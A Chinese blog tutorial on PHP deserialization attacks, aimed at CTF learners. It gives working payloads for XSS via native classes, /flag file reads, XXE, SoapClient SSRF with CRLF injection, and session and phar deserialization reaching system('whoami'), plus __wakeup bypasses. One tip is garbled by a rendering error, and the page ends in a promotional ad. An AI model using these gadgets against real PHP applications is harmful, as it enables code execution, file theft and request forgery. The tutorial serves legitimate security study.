几种反序列化漏洞,从零基础到精通,收藏这篇就够了!

1.PHP魔术方法
<?php   class c {       private $name = 'hacker';           function __construct() { // 构造方法,new时调用           echo 'construct<br>';       }           function __serialize() { // 序列化时调用           echo 'serialize<br>';           return ['hack'];       }           function __unserialize($data) { // 反序列化时调用           echo '__unserialize ';           print_r($data);           echo '<br>';       }           function __sleep() { // 序列化时调用,存在 __serialize 就不调用           echo 'sleep<br>';           return [];       }           function __wakeup() { // 反序列化时调用,存在 __unserialize 就不调用           echo 'wakeup<br>';       }           function __debugInfo() { // 对对象使用 var_dump 时调用           echo 'debugInfo ';           return [];       }           function __clone() { // 对对象使用 clone 时调用           echo '<br>clone<br>';       }           function __destruct() { // 析构方法,对象销毁时调用           echo 'destruct<br>';       }           // 异常处理魔术方法       function __get($name) { // 获取不存在或不可访问的变量时调用           echo 'get '.$name.'<br>';       }           function __set($name, $value) { // 给不存在或不可访问的变量赋值时调用           echo 'set '.$name.' '.$value.'<br>';       }           function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用           echo 'isset '.$name.'<br>';       }           function __unset($name) { // 对不存在或不可访问的变量使用 unset 时调用           echo 'unset '.$name.'<br>';       }           function __call($name, $parameter) { // 调用不存在或不可访问的方法时调用           echo 'call '.$name.' ';           print_r($parameter);           echo '<br>';       }           static function __callStatic($name, $parameter) { // 调用不存在或不可访问的静态方法时调用           echo 'callStatic '.$name.' ';           print_r($parameter);           echo '<br>';       }           function __toString() { // 对象被当作字符串使用时调用           echo 'toString<br>';           return '';       }           function __invoke() { // 对象被当作函数调用时调用           echo 'invoke<br>';           return '';       }   }       // 创建对象   $c = new c();   var_dump($c);   clone $c;       // 序列化   $s = serialize($c);   echo $s.'<br><br>';       // 反序列化   $u = unserialize($s);       $u->pass;   $u->pass = 'hacker';   isset($u->name);   empty($u->name);   unset($u->name);       $u->function(1);   c::function(2);   $u::function(3);       echo $u;   $u.'';   $u();   


2.PHP原生类

Error类

PHP>7.0,因为存在__toString,可以进行XSS

echo new Error('<script>alert(1)</script>');   


Exception类

因为存在__toString,可以进行XSS

echo new Exception('<script>alert(1)</script>');   


DirectoryIterator类

因为存在__toString,可以获取符合要求的第一个文件名

echo new DirectoryIterator('glob://flag*');   


SplFileObject类

因为存在__toString,可以读取文件内容

echo new SplFileObject('/flag');   


SimpleXMLElement

可以造成 xxe

xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)

SimpleXMLElement('http://127.0.0.1/xxe.xml', 2, TRUE);   


SoapClient类

因为存在__call,可以进行SSRF

phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启

<?php   // ua是为了覆盖请求头并让请求包后面的其他内容无效   $ua = "ua\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\n\r\nssrf=1";       $soap = new SoapClient(null, array('uri'=>'http://127.0.0.1/', 'location'=>'http://127.0.0.1/ssrf.php', 'user_agent'=>$ua));   $soap->function();   


可以通过 NC 看构造的请求包

POST /ssrf.php HTTP/1.1   Host: 127.0.0.1   Connection: Keep-Alive   User-Agent: ua   X-Forwarded-For: 127.0.0.1   Content-Type: application/x-www-form-urlencoded   Content-Length: 6       ssrf=1   Content-Type: text/xml; charset=utf-8   SOAPAction: "http://127.0.0.1/#function"   Content-Length: 394       <?xml version="1.0" encoding="UTF-8"?>   <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:function/></SOAP-ENV:Body></SOAP-ENV:Envelope>   


3.特殊文件的反序列化

Session反序列化

php.ini 的默认配置 session.serialize_handler = php,Session格式:user|s:3:“xxx”;

当配置 session.serialize_handler = php_serialize 时,Session格式:a:1:{s:4:“user”;s:3:“xxx”;}

当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:

先访问这个生成:a:1:{s:4:“user”;s:37:“|O:1:“c”:1:{s:4:“code”;s:6:“whoami”;}”;}

<?php   ini_set('session.serialize_handler', 'php_serialize');   session_start();   $_SESSION['user'] = '|O:1:"c":1:{s:4:"code";s:6:"whoami";}';   


再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化

<?php   class c{       function __wakeup() {           system($this->code);       }   }   session_start();   


phar包反序列化

phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化

生成Payload

<?php   class c{       public $code = 'whoami';   }       $phar = new Phar('1.phar');   $phar->startBuffering();   $phar->setStub("<?php __HALT_COMPILER();?>");       $o = new c();   $phar->setMetadata($o);   $phar->addFromString('1.txt', '1');   $phar->stopBuffering();   


访问进行反序列化

<?php   class c{       function __wakeup() {           system($this->code);       }   }   include('1.phar');   


4.绕过

开头

数字

O:+1,PHP<7.2

O

<?php   class c{       public $code = 'whoami';       function __wakeup() {           system($this->code);       }   }       // a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}   $array = [new c()];   echo serialize($array);   echo '<br>';       // C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}   $obj = new ArrayObject();   $obj->append(new c());   echo serialize($obj);   echo '<br>';       // C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}   $obj = new SplObjectStorage();   $obj->attach(new c());   echo serialize($obj);   echo '<br>';       // C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}   $obj = new SplStack();   $obj->push(new c());   echo serialize($obj);   echo '<br>';       // C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}   $obj = new SplQueue();   $obj->enqueue(new c());   echo serialize($obj);   echo '<br>';       // C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}   $obj = new SplDoublyLinkedList();   $obj->push(new c());   echo serialize($obj);   


魔术方法

__wakeup绕过,大于实际值(PHP<=5.5),例:O:1:“c”:100…

__destruct绕过,前面抛出异常

__destruct调用,结构错误,例:O:1:“c”:1:{xxx}

5.CTF

private序列化有不可见字符,复制会出错,可以urlencode。包含\n、标签这种情况在HTML复制的不对要ctrl+u复制

数字、字符串、数组也可以直接序列化,i:1;、d:1.00;、s:3:“xxx”;、a:2:{i:0;s:1:“1”;i:1;s:1:“2”;}

要求俩值相等,KaTeX parse error: Expected ‘EOF’, got ‘&’ at position 11: this->a = &̲this->b,这样b改了a也会一起改

看似反序列化的题结果静态函数不需要对象

字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com/Night-Tac/articles/16880648.html)

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值